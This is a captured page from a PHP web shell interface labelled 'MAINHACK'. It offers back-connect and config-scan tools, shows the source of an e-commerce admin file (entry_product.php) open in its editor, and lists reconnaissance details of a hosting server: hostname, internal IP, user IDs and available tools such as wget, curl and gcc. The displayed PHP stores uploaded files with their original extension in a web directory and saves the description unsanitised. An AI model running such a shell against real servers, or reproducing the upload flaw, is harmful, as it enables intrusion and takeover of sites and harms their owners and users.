[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: entry_product.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' });</script> <script type="text/javascript"> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id // alert('ss'); var lastname_id = $('.tr_input select:nth-child(1)').last().attr('id'); var split_id = lastname_id.split('_'); // New index var index = Number(split_id[1]) + 1; // Create row with input elements var html = "<div class='tr_input'><table class='table'><tbody><tr><td><select id='testcode_"+index+"' name='size[]' class='form-control' required> <option value=''>Size</option><?php $table='size';$stmt=$show->readAll($table);$num=$stmt->rowCount();if($num>0){while($row=$stmt->fetch(PDO::FETCH_ASSOC)){echo "<option value='".$row['size']."'>".$row['size']."</option>"; }}?></select></td><td><input type='text' id='testcode_"+index+"' name='price[]'/></td><td><a href='javascript:void(0);' id='remove_field' class='btn btn-danger remCF' >-</a></td></tr></tbody></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); }); }); $(document).ready(function() { $("#sub").click(function() { if ($("#product input:checkbox:checked").length > 0) { // alert("Check box in Checked"); return true; } else { alert("Please check a product type"); return false; } }); }); </script> <!-- page-wrapper --> <div id="page-wrapper"> <div class="main-page"> <!-- Form Elements --> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Entry Product:</h4> </div> <div class="form-body"> <form role="form" method="post" id="product" enctype="multipart/form-data"> <div class="col-lg-3"> <div class="form-group"> <label>Category</label> <select name="category" class="form-control" required> <option value="">Category</option> <?php $table='category'; $stmt=$show->readAll($table); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['category']."'>".$row['category']."</option>"; } } ?> </select> </div> </div> <div class="col-lg-3"> <div class="form-group"> <label>Product Name</label> <input type="text" name="pname" class="form-control" placeholder="Product Name" required> </div> </div> <div class="col-lg-3"> <div class="form-group"> <label>Paper Color</label> <input type="text" name="paper" class="form-control" placeholder="Paper Color" required> </div> </div> <div class="col-lg-3"> <div class="form-group"> <label>Product Type</label> <input type="checkbox" name="type[]" value='GIFT BY OCCASION' > GIFT BY OCCASION <input type="checkbox" name="type[]" value='SHOP' > SHOP <input type="checkbox" name="type[]" value='EVENTS' > EVENTS <input type="checkbox" name="type[]" value='TRENDING' > TRENDING </div> </div> <div class="col-lg-6"> <div class="form-group"> <input type="hidden" id="getid" value="1"> <label>Add Size</label> <div class='tr_input' id="tab" style="border:none !important;"> <table class="table"> <thead><tr> <th>Size</th> <th>Price</th> <th>Add/Remove</th> </tr> </thead> <tbody> <tr> <td> <select id='testcode_1' name='size[]' class="form-control" required> <option value="">Size</option> <?php $table='size'; $stmt=$show->readAll($table); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['size']."'>".$row['size']."</option>"; } } ?> </select> </td> <td><input type='text' id='dtestcode_1' name='price[]'></td> <td><input type='button' class="btn btn-info" value='+' id='addmore'></td> </tr> </tbody> </table> </div> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label>Image</label> <input type="file" name="img[]" > <input type="file" name="img[]"> <input type="file" name="img[]"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label>Upload Image Option</label> <input type="radio" name="upload" value='YES' required> YES <input type="radio" name="upload" value='NO' required> NO </div> </div> <div class="col-lg-12"> <div class="form-group"> <label>Description</label> <textarea placeholder="Description" name="desc"> </textarea> </div> </div> <div class="col-lg-6"> <input type="submit" class="btn btn-primary" name="sub" value="submit" id="sub"> <button type="reset" id="" class="btn btn-success">Reset Button</button> </div> </form> <?php if(isset($_POST['sub'])){ include 'ids.php'; if(isset($_POST['size'])){ foreach($_POST['size'] as $key=>$n){ $data=array( 'product_id'=>$uid, 'size'=>htmlentities(strip_tags($_POST['size'][$key])), 'price'=>htmlentities(strip_tags($_POST['price'][$key])), ); $r=$show->insert('product_size',$data); } } if(isset($_FILES['img'])){ //echo "aa"; //echo "aa"; foreach($_FILES['img']['tmp_name'] as $key=>$value){ $extension = pathinfo($_FILES["img"]["name"][$key], PATHINFO_EXTENSION); $file=explode(".",$_FILES["img"]["name"][$key]); $filename = str_replace(" ", "_", $file[0]); $pic=$filename.".".$extension; $img1=uniqid().$pic; $data1 = array( 'product_id' => $uid, 'image' => $img1, ); if(move_uploaded_file($_FILES['img']['tmp_name'][$key],"imgs/".$img1)){ if($show->insert('product_img',$data1)){ } } } } /* $data=array( 'product_id'=>$uid, 'size'=>htmlentities(strip_tags($_POST['size'][$key])), 'price'=>htmlentities(strip_tags($_POST['price'][$key])), ); $r=$show->insert('product_size',$data);*/ $type=array(); foreach($_POST['type'] as $ntype){ $type[]=$ntype; } $t=implode(',',$type); //echo $t; $data=array( 'product_id'=>$uid, 'name'=>htmlentities(strip_tags($_POST['pname'])), 'paper'=>htmlentities(strip_tags($price=$_POST['paper'])), 'description'=>$_POST['desc'], 'category'=>htmlentities(strip_tags($_POST['category'])), 'updated_by'=>'Admin', 'date'=>date('d-m-Y'), 'type'=>$t, 'upload'=>htmlentities(strip_tags($_POST['upload'])), ); if($show->insert('product',$data)){ echo "<script>sweetAlert('OK','Thank you for entering all Datas','success');</script>"; } } ?> </div> </div> </div> <!-- End Form Elements --> </div> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619